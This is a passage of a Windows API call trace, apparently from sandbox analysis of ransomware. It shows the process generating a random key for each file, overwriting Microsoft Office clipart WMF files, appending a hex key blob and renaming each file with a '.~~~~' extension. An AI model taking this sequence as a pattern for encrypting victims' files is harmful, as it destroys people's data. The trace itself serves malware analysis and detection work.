	[0106.922] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffc2dc, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.922] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x3d24, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x3d24, lpOverlapped=0x0) returned 1
	[0106.923] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0106.923] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.923] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.923] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.923] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.923] CloseHandle (hObject=0x144) returned 1
	[0106.923] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0106.923] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297269.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297269.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297269.wmf.~~~~")) returned 1
	[0106.925] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.925] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0106.925] GetLastError () returned 0x0
	[0106.926] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0106.927] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0106.927] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0106.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0106.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0106.928] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22691785525) returned 1
	[0106.928] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa967f310, dwHighDateTime=0x1d60e1e)) 
	[0106.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0106.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0106.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0106.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286dfd8
	[0106.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286dfd8 | out: hHeap=0x300000) returned 1
	[0106.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0106.928] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.928] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874bf8
	[0106.929] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.929] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0106.929] GetLastError () returned 0x0
	[0106.929] GetLastError () returned 0x0
	[0106.929] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0106.929] GetLastError () returned 0x0
	[0106.929] GetLastError () returned 0x0
	[0106.932] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffbdca, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.932] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x4236, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x4236, lpOverlapped=0x0) returned 1
	[0106.934] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0106.934] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.934] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.934] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.934] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.934] CloseHandle (hObject=0x144) returned 1
	[0106.934] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0106.934] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297725.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297725.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297725.wmf.~~~~")) returned 1
	[0106.935] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.935] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0106.935] GetLastError () returned 0x0
	[0106.936] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0106.937] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0106.937] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0106.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0106.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0106.937] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22692713705) returned 1
	[0106.937] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa96a5470, dwHighDateTime=0x1d60e1e)) 
	[0106.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0106.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0106.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0106.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286e010
	[0106.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286e010 | out: hHeap=0x300000) returned 1
	[0106.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.938] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0106.938] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874c90
	[0106.938] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.938] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0106.938] GetLastError () returned 0x0
	[0106.938] GetLastError () returned 0x0
	[0106.938] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0106.938] GetLastError () returned 0x0
	[0106.938] GetLastError () returned 0x0
	[0106.948] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffc364, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.948] WriteFile (in: hFile=0x144, lpBuffer=0x28e4048*, nNumberOfBytesToWrite=0x3c9c, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e4048*, lpNumberOfBytesWritten=0x26dfec0*=0x3c9c, lpOverlapped=0x0) returned 1
	[0106.949] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e4048 | out: hHeap=0x300000) returned 1
	[0106.949] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.949] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.949] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.949] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.949] CloseHandle (hObject=0x144) returned 1
	[0106.958] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0106.958] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297727.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297727.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297727.wmf.~~~~")) returned 1
	[0106.960] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.960] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0106.960] GetLastError () returned 0x0
	[0106.960] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0106.962] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0106.962] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0106.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0106.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0106.963] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22695283685) returned 1
	[0106.963] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa96f1730, dwHighDateTime=0x1d60e1e)) 
	[0106.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0106.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0106.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0106.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286e080
	[0106.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286e080 | out: hHeap=0x300000) returned 1
	[0106.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0106.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.963] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874d28
	[0106.963] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.963] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0106.964] GetLastError () returned 0x0
	[0106.964] GetLastError () returned 0x0
	[0106.964] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0106.964] GetLastError () returned 0x0
	[0106.964] GetLastError () returned 0x0
	[0106.968] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffb6a0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.968] WriteFile (in: hFile=0x144, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x4960, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x26dfec0*=0x4960, lpOverlapped=0x0) returned 1
	[0106.969] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0106.970] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.970] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.970] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.970] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.970] CloseHandle (hObject=0x144) returned 1
	[0106.970] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a25f0
	[0106.970] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297759.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0297759.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0297759.wmf.~~~~")) returned 1
	[0106.971] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a25f0 | out: hHeap=0x300000) returned 1
	[0106.971] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0106.971] GetLastError () returned 0x0
	[0106.972] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0106.973] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0106.973] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.973] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0106.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0106.973] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0106.974] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22696367170) returned 1
	[0106.974] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa96f1730, dwHighDateTime=0x1d60e1e)) 
	[0106.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0106.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0106.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0106.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6278
	[0106.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.974] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6278 | out: hHeap=0x300000) returned 1
	[0106.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.974] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a25f0
	[0106.974] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.974] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874e58
	[0106.974] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a25f0 | out: hHeap=0x300000) returned 1
	[0106.974] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0106.975] GetLastError () returned 0x0
	[0106.975] GetLastError () returned 0x0
	[0106.975] RtlUnwind (TargetFrame=0x26dfc20, TargetIp=0x423f9b, ExceptionRecord=0x26df5dc, ReturnValue=0x0) 
	[0106.975] GetLastError () returned 0x0
	[0106.975] GetLastError () returned 0x0
	[0106.978] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffffba7c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.978] WriteFile (in: hFile=0x144, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x4584, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x26dfec0*=0x4584, lpOverlapped=0x0) returned 1
	[0106.979] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0106.979] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.979] WriteFile (in: hFile=0x144, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x26dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.979] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.979] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x26dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x26dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.979] CloseHandle (hObject=0x144) returned 1
	[0106.980] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2698
	[0106.980] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0300862.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0300862.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0300862.wmf.~~~~")) returned 1
	[0106.981] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2698 | out: hHeap=0x300000) returned 1
	[0106.981] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0106.981] GetLastError () returned 0x0
	[0106.981] CryptAcquireContextA (in: phProv=0x26dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x26dfcdc*=0x3a0048) returned 1
	[0106.982] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0106.982] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.982] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0106.982] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0106.982] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0106.982] QueryPerformanceCounter (in: lpPerformanceCount=0x26dfc48 | out: lpPerformanceCount=0x26dfc48*=22697230464) returned 1
	[0106.982] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x26dfc88 | out: lpSystemTimeAsFileTime=0x26dfc88*(dwLowDateTime=0xa9717890, dwHighDateTime=0x1d60e1e)) 
	[0106.982] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0106.982] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0106.982] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0106.982] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a62b0
	[0106.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.983] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a62b0 | out: hHeap=0x300000) returned 1
	[0106.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.983] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2698
	[0106.983] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.983] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2875020
	[0106.983] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2698 | out: hHeap=0x300000) returned 1
	[0106.983] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x26dfb18) 
	[0106.983] GetLastError () returned 0x0
	[0106.983] GetLastError () returned 0x0
